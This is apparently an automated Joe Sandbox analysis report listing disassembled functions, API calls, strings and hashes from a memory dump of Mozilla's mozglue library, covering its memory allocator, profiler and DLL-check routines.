Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51F350
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F35D
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F381
GetCurrentThreadId.KERNEL32 ref: 6C51F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F3A0
GetCurrentThreadId.KERNEL32 ref: 6C51F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F491

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C51F3CF

Part of subcall function 6C51F070: GetCurrentThreadId.KERNEL32 ref: 6C51F440
Part of subcall function 6C51F070: AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F44D
Part of subcall function 6C51F070: ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C51F4A8
GetCurrentThreadId.KERNEL32 ref: 6C51F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F561
GetCurrentThreadId.KERNEL32 ref: 6C51F577
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F585
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6C51F239
[I %d/%d] profiler_resume_sampling, xrefs: 6C51F499
[I %d/%d] profiler_pause_sampling, xrefs: 6C51F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C51F56A

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: 039f4c1515c243ab2e6bc757762e018cb2ef2a988cfc9b87e9ecdf292328b44c
Instruction ID: fd6dab33ed8b61e9c747b642594b87669d17ff968bec34696eae29bed4dfd091
Opcode Fuzzy Hash: 039f4c1515c243ab2e6bc757762e018cb2ef2a988cfc9b87e9ecdf292328b44c
Instruction Fuzzy Hash: BBD1E635708204DFEB00EF64DC487AA77F5EB86328F95471AE95983F81DB715804C7AA

Function 6C4E64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C4E64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C4E64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C4E6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C4E6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C4E652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C4E671C
GetCurrentProcess.KERNEL32 ref: 6C4E6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C4E672F
GetCurrentProcess.KERNEL32 ref: 6C4E6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C4E6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C4E6A80
GetSystemInfo.KERNEL32(?), ref: 6C4E6ABE
__Init_thread_footer.LIBCMT ref: 6C4E6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4E6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4E6AF7

Strings

_etoured.dll, xrefs: 6C4E64ED
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C4E6798
nvdxgiwrap.dll, xrefs: 6C4E6513
user32.dll, xrefs: 6C4E6526
detoured.dll, xrefs: 6C4E64DA
nvd3d9wrap.dll, xrefs: 6C4E6500

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 0996e2b58a35cd35b3f9ccf41955014500db403385195c78dd629c75860e92fd
Instruction ID: 8e15aec114cd7d92f2b7387e684a5b0eab4d37ea80df763b28c2490418ce793b
Opcode Fuzzy Hash: 0996e2b58a35cd35b3f9ccf41955014500db403385195c78dd629c75860e92fd
Instruction Fuzzy Hash: BCF1D070E0522D8FDB20DF24CC48FDAB7B5AF4A31AF164299D919A3741D731AA85CF90

Function 6C4FD850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C4FD904
LeaveCriticalSection.KERNEL32(?), ref: 6C4FD971
memset.VCRUNTIME140(?,00000000,?), ref: 6C4FD97B
LeaveCriticalSection.KERNEL32(?), ref: 6C4FE2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4FE2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FE308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FE315
AcquireSRWLockExclusive.KERNEL32(6C55E804), ref: 6C4FE37C
GetSystemInfo.KERNEL32(?), ref: 6C4FE3C7
__Init_thread_footer.LIBCMT ref: 6C4FE3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C55E810,00000040), ref: 6C4FE404
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7B8,00001388), ref: 6C4FE46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E744,00001388), ref: 6C4FE483
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E784,00001388), ref: 6C4FE4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7DC,00001388), ref: 6C4FE4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E768,00001388), ref: 6C4FE50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6C4FE52E
ReleaseSRWLockExclusive.KERNEL32(6C55E804), ref: 6C4FE54F

Part of subcall function 6C4ED960: EnterCriticalSection.KERNEL32(?), ref: 6C4ED999
Part of subcall function 6C4ED960: EnterCriticalSection.KERNEL32(6C55E7B8), ref: 6C4EDA13

Strings

MOZ_CRASH(), xrefs: 6C4FE62B
<jemalloc>, xrefs: 6C4FE61C, 6C4FE6CC
Compile-time page size does not divide the runtime one., xrefs: 6C4FE621
MALLOC_OPTIONS, xrefs: 6C4FE3FF
: (malloc) Unsupported character in malloc options: ', xrefs: 6C4FE6DD
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4FE560, 6C4FE58A, 6C4FE5A5

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-429003945
Opcode ID: f15ea4b2ca4df94ad0623e75e63a7032fa67e9548d35138f3dc26146068e605a
Instruction ID: 2fbd2fec9a55deed0d6657ab91d470d3e08f6b48ed2f1841a27f281b1482fb45
Opcode Fuzzy Hash: f15ea4b2ca4df94ad0623e75e63a7032fa67e9548d35138f3dc26146068e605a
Instruction Fuzzy Hash: C0929A71A056018FD714CF28C980F15BBE1BFC6729F2A866DE8698B791D375E842CBC1

Function 6C53C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C53C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C53C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C53C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C53CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C53DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C53DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C53DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C53E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C53E472

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 2cdfb1ead994bd1fed14c2ddd2b557854a23ff3c887f10fbc81134bb95c135ad
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 7933A171E0422ACFCB04CF98C8806EDBBF2FF89310F194669D959AB755E731A945CB90

Function 6C4FED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C4FEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C4FEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C501695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5016B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C501770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C501A3E

Strings

~qMl, xrefs: 6C4FED13
~qMl, xrefs: 6C4FED10

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qMl$~qMl
API String ID: 3693777188-255395400
Opcode ID: 91d0e402af636af1688347fce1a27a29c16bddb1bd348218f0baa43af5b74011
Instruction ID: d6d4ad9df4256fbd43cd50f5440639ace5ed5b55fa5434d5de5cd44db3d29673
Opcode Fuzzy Hash: 91d0e402af636af1688347fce1a27a29c16bddb1bd348218f0baa43af5b74011
Instruction Fuzzy Hash: 29B30871E05219CFDB14CFA8C890A9DB7B2BF89304F2582A9D459EB745D730AD86CF90

Function 6C4EFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E7B8), ref: 6C4EFF81
LeaveCriticalSection.KERNEL32(6C55E7B8), ref: 6C4F022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C4F0240
EnterCriticalSection.KERNEL32(6C55E768), ref: 6C4F025B
LeaveCriticalSection.KERNEL32(6C55E768), ref: 6C4F027B

Strings

<jemalloc>, xrefs: 6C4F0D62, 6C4F0D76, 6C4F0DA7
: (malloc) Error in VirtualFree(), xrefs: 6C4F0D67, 6C4F0D7B, 6C4F0DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4EFE99, 6C4EFEB7, 6C4EFED3, 6C4F0DB8, 6C4F0DD3, 6C4F19B4

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 545a84042b49a2d74c7c87586871a4b4a80912a53417c34263e4c0def9ce0384
Instruction ID: 68c8dab6d5d5f8ea6cf21b829ba500b256dfabe0fa02d160ead08536d2f0a6f5
Opcode Fuzzy Hash: 545a84042b49a2d74c7c87586871a4b4a80912a53417c34263e4c0def9ce0384
Instruction Fuzzy Hash: B6C26B71A057418FD714CF28C980F16BBE1AFC9328F29C66DE8698B795D771E842CB81

Function 6C53E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C53E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C53EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C53F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C540E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C540E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C540EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C540ED4

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: d6e2b9523cc9571820f444ee461347fbacdda833adbe06eb5854329938694a34
Instruction ID: 077e0eba54e88c49933abc04fe1b5042058d6b49d945e901388225da02ebb5b4
Opcode Fuzzy Hash: d6e2b9523cc9571820f444ee461347fbacdda833adbe06eb5854329938694a34
Instruction Fuzzy Hash: 3B637F71E0025ACFCB04CFA8C8906DDF7B2FF99310F298669D859AB755E730A945CB90

Function 6C513E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C537770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>Ql,?,?,?,6C513E7D,?,?), ref: 6C53777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C513F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C513F5C
VerSetConditionMask.NTDLL ref: 6C513F8D
VerSetConditionMask.NTDLL ref: 6C513F99
VerSetConditionMask.NTDLL ref: 6C513FA0
VerSetConditionMask.NTDLL ref: 6C513FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C513FB4

Strings

C>Ql, xrefs: 6C513E93
nvinit.dll, xrefs: 6C514479
nvd3d9wrap.dll, xrefs: 6C514466

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>Ql$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-947918438
Opcode ID: 9a478ef4dd503a0f028a82c0ce03e5b7b327e70f50f2e2602cf926708a564b53
Instruction ID: be93751d23dc29b7c7e32b8488541a84d5618a6cc1945c1415c3851b8e56a7eb
Opcode Fuzzy Hash: 9a478ef4dd503a0f028a82c0ce03e5b7b327e70f50f2e2602cf926708a564b53
Instruction Fuzzy Hash: AD52F272614B498FD710DF34C894EAB77E9AF85308F45492DD4968BB42DB34F909CBA0

Function 6C4EFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E7B8), ref: 6C4EFF81
LeaveCriticalSection.KERNEL32(6C55E7B8), ref: 6C4F022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C4F0240
EnterCriticalSection.KERNEL32(6C55E768), ref: 6C4F025B
LeaveCriticalSection.KERNEL32(6C55E768), ref: 6C4F027B

Strings

MOZ_CRASH(), xrefs: 6C4F0CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4EFE99, 6C4EFEB7, 6C4EFED3, 6C4F0DB8, 6C4F0DD3, 6C4F19B4, 6C4F1A10

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: b1bf55d46fa0b31a020dcc4caaaa586c21b20244fa559fe049be0e622290d730
Instruction ID: 0be0ecd8a31981586b43d502becd83abb72e88ffaa5c7c758d1bbca9c5e24ae1
Opcode Fuzzy Hash: b1bf55d46fa0b31a020dcc4caaaa586c21b20244fa559fe049be0e622290d730
Instruction Fuzzy Hash: 82B27A71A057418FD714CF29C990F16BBE1AFC5328F28C66DE86A8B795D770E842CB81

Function 6C525600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

expected a Count entry, xrefs: 6C525AC3
ProfileBuffer parse error: %s, xrefs: 6C525AC8, 6C525CBB
data, xrefs: 6C526131
schema, xrefs: 6C52606D
expected a Time entry, xrefs: 6C525CB6
name, xrefs: 6C525E79, 6C525E8F

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: fed53b20dd99bf5f0f2ddd0f51c422cc93a75784ae0ba1bbc35aaff5abd139d8
Instruction ID: f4459c656e1fe41993df9aee1870f2b864e689264ea688f59dd1ad08bf61bd51
Opcode Fuzzy Hash: fed53b20dd99bf5f0f2ddd0f51c422cc93a75784ae0ba1bbc35aaff5abd139d8
Instruction Fuzzy Hash: 67924D71A083418FD724CF18C890B9BBBE1BFC9308F55891DE5999B795DB34E809CB92

Function 6C4E7810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E744), ref: 6C4E7885
LeaveCriticalSection.KERNEL32(6C55E744), ref: 6C4E78A5
EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4E78AD
LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4E78CD
EnterCriticalSection.KERNEL32(6C55E7DC), ref: 6C4E78D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C4E78E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C4E795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C4E79BB
LeaveCriticalSection.KERNEL32(?), ref: 6C4E7BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C4E7C82
LeaveCriticalSection.KERNEL32(6C55E7DC), ref: 6C4E7CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C4E7DAF

Strings

DUl, xrefs: 6C4E789F
DUl, xrefs: 6C4E787F

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: DUl$DUl
API String ID: 759993129-1314629681
Opcode ID: dcff855f389d20e31cdda68770ff273e6a17bf776c92fd1420f74e3fd61a97e9
Instruction ID: b2e3c68baef8eb1db0a2846cb80f9712ae96c5bc8fd1d81cbc9da62cad2f1476
Opcode Fuzzy Hash: dcff855f389d20e31cdda68770ff273e6a17bf776c92fd1420f74e3fd61a97e9
Instruction Fuzzy Hash: 32028331A052198FDB54CF18C984F99B7B5FF88329F6682AAD809A7711D770BD91CF80

Function 6C522E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C522ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C522EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C522F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C523214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C523242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5236BF

Strings

set , xrefs: 6C5236EC
get , xrefs: 6C523205
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C52378D

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: b16a9a349abc9f4bd777dfe1775c9b2fdfa121fb2c8c2302718ac08c49ec29ae
Instruction ID: d2f6e2e7fe3b7c9a34a85e522faf1d6b11578a59a772b548f4bc02d36529a481
Opcode Fuzzy Hash: b16a9a349abc9f4bd777dfe1775c9b2fdfa121fb2c8c2302718ac08c49ec29ae
Instruction Fuzzy Hash: 29326F746083818FD324CF24C890A9EBBE6AFC9318F548D1DE5D987791DB34E94ACB52

Function 6C517E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

(pre-xul), xrefs: 6C517E88
data, xrefs: 6C518280, 6C5183E1
schema, xrefs: 6C5181E3, 6C518311
vUl, xrefs: 6C518207
name, xrefs: 6C517ECF, 6C518335

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
